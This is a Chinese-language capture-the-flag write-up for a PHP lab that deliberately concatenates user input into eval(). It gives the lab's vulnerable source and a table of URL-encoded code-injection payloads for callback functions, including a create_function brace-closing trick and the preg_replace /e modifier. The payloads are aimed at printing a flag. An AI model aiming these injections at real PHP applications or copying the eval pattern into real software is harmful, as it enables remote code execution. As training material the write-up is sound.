PHP回调函数RCE靶场 WriteUp
php
<?php
include ("get_flag.php");
global $flag;
session_start(); // 开启 session
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
function get_fun(){
$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];
if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];
}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>
一、 题目分析
题目核心代码如下:
php
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}
代码逻辑:
系统从列表中随机抽取一个PHP函数赋给 $function,用户通过 POST 提交 content 参数,两者拼接后进入 eval() 执行。例如:函数是 array_filter,用户输入 X,最终执行的就是 array_filter(X);。
目标: 构造合适的 content,让拼接后的代码能读取全局变量 $flag。
二、 踩坑记录与核心思路转变(重要!)
在最初尝试时,针对回调函数(如 array_filter),我使用了 assert 作为回调来执行代码:
http
content=['echo $flag'], 'assert'
报错:
Fatal error: Uncaught ArgumentCountError: array_filter() expects at most 2 arguments, 3 given
原因分析:
- PHP版本问题 :PHP 7.2 及以上版本,
assert()不再作为普通的可回调函数使用,将其作为字符串传入call_user_func或数组回调中会导致解析异常或参数错位。 - 变量解析问题 :
$flag被解析为具体的字符串后,如果内部包含单引号或特殊字符,会导致原本的字符串提前闭合,使得 PHP 误判为传入了多余的参数。
核心思路转变:
对于带有回调特性的函数(array_map, array_filter, usort 等),最稳定、最通用的方法不是让回调去"执行代码",而是让回调去"打印变量"。
我们将 $flag 放入数组中,回调函数使用 var_dump 或 print_r。系统执行时,会自动将数组中的 $flag 取出传给 var_dump,从而直接输出 flag,完美避开 assert 的兼容性问题!
三、 抓包改包操作流程
- 访问首页,记录页面提示的随机函数名 和 Cookie (PHPSESSID)。
- 使用 Burp Suite / Hackbar 构造 POST 请求,URL 加上
?action=submit。 - 必须带上 Cookie,否则 Session 丢失,服务器会重新随机函数导致 Payload 失效。
- 在 Body 中传入对应的
content(注意:抓包改包时特殊字符需进行 URL 编码)。
四、 全函数 Payload 字典(抓包专用)
以下 Payload 均已解决引号闭合和参数数量问题,分为直接代码执行型 和回调变量输出型 。推荐优先使用
var_dump方法,通杀所有 PHP 版本。
1. eval / assert (直接执行型)
需用单引号包裹代码,拼接后为 eval('echo $flag');
| 函数 | content 明文 | 抓包 Body (URL编码) |
|---|---|---|
| eval | 'echo $flag' |
content='echo%20%24flag' |
| assert | 'echo $flag' |
content='echo%20%24flag' |
2. 回调执行代码型(仅适用于 PHP < 7.2)
通过回调 assert 执行代码。
| 函数 | content 明文 | 抓包 Body (URL编码) |
|---|---|---|
| call_user_func | 'assert', 'echo $flag' |
content='assert'%2C%20'echo%20%24flag' |
| call_user_func_array | 'assert', ['echo $flag'] |
content='assert'%2C%20%5B'echo%20%24flag'%5D |
| array_map | 'assert', ['echo $flag'] |
content='assert'%2C%20%5B'echo%20%24flag'%5D |
| array_filter | ['echo $flag'], 'assert' |
content=%5B'echo%20%24flag'%5D%2C%20'assert' |
| usort | ['echo $flag','echo $flag'], 'assert' |
content=%5B'echo%20%24flag'%2C'echo%20%24flag'%5D%2C%20'assert' |
| array_reduce | [0], 'assert', 'echo $flag' |
content=%5B0%5D%2C%20'assert'%2C%20'echo%20%24flag' |
3. 回调变量输出型(🌟 通杀推荐,适配 PHP 7.2+)
不执行代码,直接用 var_dump 打印 $flag 变量本身,无需引号包裹 $flag。
| 函数 | content 明文 | 抓包 Body (URL编码) |
|---|---|---|
| call_user_func | 'var_dump', $flag |
content='var_dump'%2C%20%24flag |
| call_user_func_array | 'var_dump', [$flag] |
content='var_dump'%2C%20%5B%24flag%5D |
| array_map | 'var_dump', [$flag] |
content='var_dump'%2C%20%5B%24flag%5D |
| array_filter | [$flag], 'var_dump' |
content=%5B%24flag%5D%2C%20'var_dump' |
| usort | [$flag,1], 'var_dump' |
content=%5B%24flag%2C1%5D%2C%20'var_dump' |
| array_reduce | [$flag], 'var_dump' |
content=%5B%24flag%5D%2C%20'var_dump' |
4. 特殊构造型
| 函数 | content 明文 | 抓包 Body (URL编码) | 原理 |
|---|---|---|---|
| create_function | '', '}echo $flag;/*' |
content=''%2C%20'%7Decho%20%24flag%3B%2F*' |
提前闭合函数体,注释掉多余的 } |
| preg_replace | '/./e', 'echo $flag', '1' |
content='%2F.%2Fe'%2C%20'echo%20%24flag'%2C%20'1' |
利用 /e 修饰符执行替换字符串(仅限 PHP < 7.0) |
五、 总结
做 PHP 回调函数 RCE 题目时:
- 看清 PHP 版本 :高版本直接放弃
assert回调。 - 思路要灵活 :不要死磕"执行代码",利用系统自带的输出函数(
var_dump,print_r)作为回调去"打印变量"是更优雅、更稳定的解法。 - 注意抓包细节 :一定要带上 Session Cookie,且 Body 中的特殊字符(如空格、
$、[、])必须 URL 编码,否则极易出现参数解析错误。